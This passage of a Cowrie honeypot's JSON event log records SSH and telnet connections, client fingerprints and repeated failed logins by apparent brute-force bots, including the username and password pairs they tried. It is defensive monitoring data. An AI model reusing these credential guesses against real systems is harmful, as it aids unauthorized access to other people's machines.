{"eventid":"cowrie.login.failed","username":"root","password":"deather","message":"login attempt [root/deather] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:05.776148Z","src_ip":"85.11.167.46","session":"101dc791c6f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"02021985","message":"login attempt [root/02021985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:06.031754Z","src_ip":"193.37.70.224","session":"9e0169036916","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:06.869487Z","src_ip":"85.11.167.46","session":"101dc791c6f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:07.124015Z","src_ip":"193.37.70.224","session":"9e0169036916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.237.144.204","src_port":33274,"dst_ip":"159.203.135.109","dst_port":22,"session":"beea5f6485d4","protocol":"ssh","message":"New connection: 103.237.144.204:33274 (159.203.135.109:22) [session: beea5f6485d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:07.496219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:07.501196Z","src_ip":"103.237.144.204","session":"beea5f6485d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:07.757452Z","src_ip":"103.237.144.204","session":"beea5f6485d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":59714,"dst_ip":"159.203.135.109","dst_port":23,"session":"f16526e1f4dc","protocol":"telnet","message":"New connection: 69.4.83.194:59714 (159.203.135.109:23) [session: f16526e1f4dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:08.069095Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":8089,"dst_ip":"159.203.135.109","dst_port":22,"session":"c30a624abbb7","protocol":"ssh","message":"New connection: 213.209.159.56:8089 (159.203.135.109:22) [session: c30a624abbb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:08.387747Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zhu12345","message":"login attempt [root/Zhu12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:08.813669Z","src_ip":"103.237.144.204","session":"beea5f6485d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:10.073617Z","src_ip":"103.237.144.204","session":"beea5f6485d4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:10.319257Z","src_ip":"213.209.159.56","session":"c30a624abbb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:10.398149Z","src_ip":"213.209.159.56","session":"c30a624abbb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kollin","password":"kollin","message":"login attempt [kollin/kollin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:10.800006Z","src_ip":"213.209.159.56","session":"c30a624abbb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kollin","password":"kollin1","message":"login attempt [kollin/kollin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:11.885842Z","src_ip":"213.209.159.56","session":"c30a624abbb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kollin","password":"kollin123","message":"login attempt [kollin/kollin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:12.972019Z","src_ip":"213.209.159.56","session":"c30a624abbb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kollin","password":"kollin1234","message":"login attempt [kollin/kollin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:14.057400Z","src_ip":"213.209.159.56","session":"c30a624abbb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kollin","password":"kollin12345","message":"login attempt [kollin/kollin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:15.145891Z","src_ip":"213.209.159.56","session":"c30a624abbb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:16.231650Z","src_ip":"213.209.159.56","session":"c30a624abbb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.180.141.8","src_port":58136,"dst_ip":"10.17.0.5","dst_port":22,"session":"84dc0dbbc8f6","protocol":"ssh","message":"New connection: 185.180.141.8:58136 (10.17.0.5:22) [session: 84dc0dbbc8f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:17.522516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:17.527236Z","src_ip":"185.180.141.8","session":"84dc0dbbc8f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"864cef7e4d8ad71d4fb1aadfcf0a3189","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 864cef7e4d8ad71d4fb1aadfcf0a3189","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:17.569210Z","src_ip":"185.180.141.8","session":"84dc0dbbc8f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:25.523500Z","src_ip":"185.180.141.8","session":"84dc0dbbc8f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":43306,"dst_ip":"159.203.135.109","dst_port":23,"session":"f06c53214183","protocol":"telnet","message":"New connection: 69.4.83.194:43306 (159.203.135.109:23) [session: f06c53214183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:37.214123Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.104","src_port":65360,"dst_ip":"159.203.135.109","dst_port":23,"session":"7540452bbac9","protocol":"telnet","message":"New connection: 205.210.31.104:65360 (159.203.135.109:23) [session: 7540452bbac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:40.320123Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":51258,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b2a4c0345b8","protocol":"telnet","message":"New connection: 178.128.93.180:51258 (10.17.0.5:23) [session: 4b2a4c0345b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:45.567823Z"}
{"eventid":"cowrie.session.closed","duration":37.80763649940491,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:45.876587Z","src_ip":"69.4.83.194","session":"f16526e1f4dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.969018936157227,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:50.289029Z","src_ip":"205.210.31.104","session":"7540452bbac9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":99.47242569923401,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:57.586154Z","src_ip":"178.128.93.180","session":"3a070f9f8168","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":59570,"dst_ip":"10.17.0.5","dst_port":23,"session":"adb702c45730","protocol":"telnet","message":"New connection: 178.128.93.180:59570 (10.17.0.5:23) [session: adb702c45730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:34:59.056839Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":53970,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce58c0a5bbe6","protocol":"telnet","message":"New connection: 69.4.83.194:53970 (159.203.135.109:23) [session: ce58c0a5bbe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:04.284721Z"}
{"eventid":"cowrie.session.closed","duration":34.13334631919861,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:11.347351Z","src_ip":"69.4.83.194","session":"f06c53214183","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":79.24050259590149,"message":"Connection lost after 79 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:16.466405Z","src_ip":"178.128.93.180","session":"5b80738fcdf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":49194,"dst_ip":"10.17.0.5","dst_port":23,"session":"9361c8269d1a","protocol":"telnet","message":"New connection: 178.128.93.180:49194 (10.17.0.5:23) [session: 9361c8269d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:28.619489Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53880,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f288aa1a2dc","protocol":"ssh","message":"New connection: 103.153.68.219:53880 (159.203.135.109:22) [session: 2f288aa1a2dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:32.325825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:32.330943Z","src_ip":"103.153.68.219","session":"2f288aa1a2dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:32.575987Z","src_ip":"103.153.68.219","session":"2f288aa1a2dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":42938,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4c6db87a856","protocol":"ssh","message":"New connection: 35.225.56.202:42938 (159.203.135.109:22) [session: e4c6db87a856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:32.627076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:32.632129Z","src_ip":"35.225.56.202","session":"e4c6db87a856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:32.666260Z","src_ip":"35.225.56.202","session":"e4c6db87a856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:32.832970Z","src_ip":"35.225.56.202","session":"e4c6db87a856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.90.106","src_port":43952,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bedd66d6153","protocol":"ssh","message":"New connection: 182.52.90.106:43952 (159.203.135.109:22) [session: 8bedd66d6153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:33.067167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:33.072785Z","src_ip":"182.52.90.106","session":"8bedd66d6153","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456","message":"login attempt [root/456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:33.321241Z","src_ip":"103.153.68.219","session":"2f288aa1a2dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:33.331700Z","src_ip":"182.52.90.106","session":"8bedd66d6153","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:33.870234Z","src_ip":"35.225.56.202","session":"e4c6db87a856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andy","password":"andy","message":"login attempt [andy/andy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:34.398317Z","src_ip":"182.52.90.106","session":"8bedd66d6153","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:34.568232Z","src_ip":"103.153.68.219","session":"2f288aa1a2dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:35.659848Z","src_ip":"182.52.90.106","session":"8bedd66d6153","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.97362184524536,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:41.258204Z","src_ip":"69.4.83.194","session":"ce58c0a5bbe6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.237.144.204","src_port":44416,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dc9a3b593ef","protocol":"ssh","message":"New connection: 103.237.144.204:44416 (159.203.135.109:22) [session: 2dc9a3b593ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:47.434378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:47.446350Z","src_ip":"103.237.144.204","session":"2dc9a3b593ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 